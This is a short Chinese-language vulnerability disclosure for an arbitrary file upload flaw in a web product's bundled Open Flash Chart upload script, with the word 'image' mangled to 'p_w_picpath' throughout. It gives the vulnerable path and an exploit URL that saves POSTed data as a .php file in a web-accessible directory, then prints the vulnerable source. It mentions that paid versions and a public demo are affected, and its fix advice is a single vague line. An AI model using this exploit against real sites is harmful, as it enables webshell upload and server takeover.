POST 數據
泛亞漏洞文件執行任意後綴文件保存
漏洞文件/chart/php-ofc-library/ofc_upload_p_w_picpath.php
利用：
/chart/php-ofc-library/ofc_upload_p_w_picpath.php?name=hfy.php hfy.php 文件名
Post任意數據
保存位置http://localhost/chart/tmp-upload-p_w_picpaths/hfy.php
最新版wss漏洞文件，即使是收費版本也有的，在新浪商店部署的demo~
<?php
//
// In Open Flash Chart -> save_p_w_picpath debug mode, you
// will see the 'echo' text in a new window.
//
/*
print_r( $_GET );
print_r( $_POST );
print_r( $_FILES );
print_r( $GLOBALS );
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
*/
// default path for the p_w_picpath to be stored //
$default_path = '../tmp-upload-p_w_picpaths/';
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
// full path to the saved p_w_picpath including filename //
$destination = $default_path . basename( $_GET[ 'name' ] );
echo 'Saving your p_w_picpath to: '. $destination;
// print_r( $_POST );
// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;
//
// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
//
$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);
//
// LOOK:
//
exit();
//
// PHP5:
//
// default path for the p_w_picpath to be stored //
$default_path = 'tmp-upload-p_w_picpaths/';
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
// full path to the saved p_w_picpath including filename //
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
// move the p_w_picpath into the specified directory //
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
} else {
echo "FILE UPLOAD FAILED";
}
?>
修復方案：
這個漏洞文件就是個杯具，怎麼破，加權限驗證，後綴等驗證~，自己搞